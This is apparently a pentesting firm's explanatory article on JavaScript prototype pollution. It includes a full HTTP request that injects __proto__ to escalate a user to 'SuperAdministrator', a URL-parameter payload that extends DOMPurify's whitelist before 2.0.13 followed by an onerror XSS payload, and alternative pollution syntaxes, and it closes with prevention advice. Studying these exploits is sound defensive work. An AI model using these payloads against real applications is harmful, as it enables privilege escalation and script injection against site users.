What is Prototype Pollution? Exploitations and Security Tips

Prototype pollution vulnerabilities are specific to JavaScript. They can be exploited on both the server and client sides. These vulnerabilities allow attackers to execute malicious code or steal data.

It is therefore crucial to understand and address these vulnerabilities. This article details the principles of prototype pollution vulnerabilities, server-side and client-side exploits, as well as the measures to implement to counter these attacks.

What is Prototype Pollution?

As mentioned in the introduction, “prototype pollution” vulnerabilities are specific to JavaScript due to its particular management of objects. This reduces the likelihood of exploitation on the server side.

On the other hand, the attack surface on the client side is much greater, as JavaScript is universally used by modern browsers.

To understand this security vulnerability, it is important to explain how objects are instantiated and what prototypes are in JavaScript.

Object-oriented development is a programming paradigm based on objects. Objects are sets of data contained in fields. They can represent concrete concepts, such as a car, or abstract concepts, such as a widget.

JavaScript allows objects to be used. They can be created as follows:

car = {color : « red », power : « 90ch »}

The object thus created has 2 properties: “color” and “power”. These properties are of string type, but they could also be an integer, a Boolean, a function or even another object.

In JavaScript, all objects automatically have basic functionality thanks to the prototype mechanism.

Prototype of the “car” object
toString() property

Here we can see that the object already has the toString() function, even though it hasn’t been explicitly defined. This is made possible by the prototype of the “car” object.

This prototype can be accessed using:

car.__proto__

It is possible to rewrite the object’s properties, which take precedence over the prototype’s properties. For example, you can create a custom toString() function. This process is called shadowing.

A “Prototype Pollution” vulnerability occurs when the user can modify the prototype’s properties.

By changing the prototype of an object, a user can impact all the other objects.

Using the previous example:

Pollution of another object

The toString() function has been modified, and all objects inherit from this new function.

Let’s take a look at the impact this can have in concrete exploitations on both the server and client sides.

Exploiting Server-Side Prototype Pollution

This type of vulnerability often exists because of vulnerable libraries. We are going to look at a simple exploitation of a Prototype Pollution, but one that nevertheless has an impact.

A role system is quite common in an application. Let’s imagine a simple system with three roles:

  • “User”: who can only add and modify documents;
  • “Administrator”: who can view, create users and access all the documents in their company;
  • “SuperAdministrator”: reserved for employees of the application publisher, who have access to all organisations to resolve customer problems.

Within a given organisation, only “Administrator” users can change the role of another account.

The request is as follows:

PATCH /user/info /137 HTTP/2
Host: backend.target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: application/json, text/plain, */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authorization: JWT tokenCollaborateur
Referer: https://app.target.com/

{"first name”: “John”, “last name”: “Doe”, “email”: “[email protected]”, “role”: “Administrator”}

And the response:

HTTP/2 200 OK
Date: Thu, 25 Jul 2024 09:34:26 GMT
Content-Type: application/json
Server: nginx
Allow: GET, PUT, PATCH, DELETE, HEAD, OPTIONS
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin
Vary: Origin
Access-Control-Allow-Origin: *
{"first name”: “John”, “last name”: “Doe”, “email”: “[email protected]”, “role”: “Administrator”}

The ID 137 account has just been upgraded to the “Administrator” role. However, it is not possible to change it to “SuperAdministrator”.

A server-side check requires a request with a session token corresponding to a “SuperAdministrator” to be used to grant this role.

By exploiting a Prototype Pollution vulnerability, you can bypass this protection and escalate your privileges on the platform.

The exploitation request is as follows:

PATCH /user/info /137 HTTP/2
Host: backend.target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: application/json, text/plain, */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authorization: JWT tokenCollaborateur
Referer: https://app.target.com/

{"first name”: “John”, “last name”: “Doe”, “email”: “[email protected]”, “role”: “Administrator”,”__proto__”:{“test”:true, “role”:”SuperAdministrator”}}

And we get the following response:

HTTP/2 200 OK
Date: Thu, 25 Jul 2024 09:34:26 GMT
Content-Type: application/json
Server: nginx
Allow: GET, PUT, PATCH, DELETE, HEAD, OPTIONS
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin
Vary: Origin
Access-Control-Allow-Origin: *
{"first name”: “John”, “last name”: “Doe”, “email”: “[email protected]”, “role”: “SuperAdministrator”, “test”: true}

The request will be accepted because the “role” parameter has an authorised value. The problem lies in the fact that the server modifies the object according to everything in the body of the request. Here, the user directly accesses the prototype of the User object.

The impact is critical in this case, because a client with access only to its company can now modify all the clients present on the platform.

Detecting the vulnerability was relatively simple in this example, as the parameters were reflected in the response. The “test” parameter was useful; its presence in the response made it clear that the application was vulnerable.

There are other techniques for detecting this vulnerability without causing a denial of service on the application. Modifying the global prototype can lead to persistent changes in the Node process and affect the operation of the application for all users.

The principle is to modify the application’s response without disrupting its operation. Here are a few methods:

  • Change the data encoding: Change the content-type so that the application responds in UTF-7 instead of UTF-8, for example.
  • Change the HTTP response status: Use an HTTP code that the server does not normally return.
  • Limit the number of parameters in a request: If the injection is successful, the server may not process all the parameters in the request, thus exceeding the limit and returning an error.

Other prototype pollution detection techniques are also described by Portswigger.

Exploiting Client-Side Prototype Pollution

As JavaScript is the language used by browsers, pollution of a prototype can also occur on the client side. The impact will be different, but not necessarily less critical. This can make it possible to exploit JavaScript code injections, such as DOM XSS attacks.

Detecting such a vulnerability is much simpler here, because everything takes place in the browser that we control. Furthermore, there is no risk of causing a global denial of service.

To check that the injection has succeeded, simply open the browser console and inspect the prototype.

Polluted object

We’ll look at how the application’s security can be affected by this detection.

For example, it is possible to bypass the protections of HTML sanitizers, such as DOMPurify, which eliminate undesirable HTML tags while authorising certain tags in rich text fields.

These tools use a white list of authorised tags. Pollution of the prototype can be used to extend this white list.

Before version 2.0.13 of DOMPurify, it was possible to extend the whitelist in this way (the parameters being passed in the URL):

?__proto__[ALLOWED_ATTR][0]=onerror&__proto__[ALLOWED_ATTR][1]=src

The following payload can then be executed by the victim’s browser, as the attributes have been authorised by the pollution:

<img src=x onerror=alert(1)>

The Burp extension, DOM Invader, automatically identifies client-side prototype pollution. Its chrome plugin detects pollution by finding the source (the place where the JavaScript code is injected by the user) and the sink (the function that executes the code).

Detecting the source
Identifying the gadget

In some cases, it is possible to go as far as exploitation by pressing the “Exploit” button.

Note that there are several syntaxes for accessing the prototype of an object.

In the URL:

-	 ?__proto__[polluted]=true
-	 ?[constructor][prototype][polluted]=true

In JSON:

{
    "constructor": {
        "prototype": {
            "polluted": true
        }
    }
}

This can be useful for bypassing very basic protections.

How to Prevent Prototype Pollution Vulnerabilities?

How can you protect yourself from the vulnerability described in this article? Here are some recommendations:

  • Update dependencies: this is general advice for all security issues, but particularly important here, as the vulnerability is often introduced by third-party components.
  • Strictly control parameters: using a whitelist of expected values can help prevent problems, including massive assignments.
  • Use Object.freeze(): this function prevents any modification to the object on which it is called, which helps prevent pollution.
  • Manipulating the prototype: another solution is to set the prototype to null, like this: Object.create(null)

Author: Julien BRACON – Pentester @Vaadata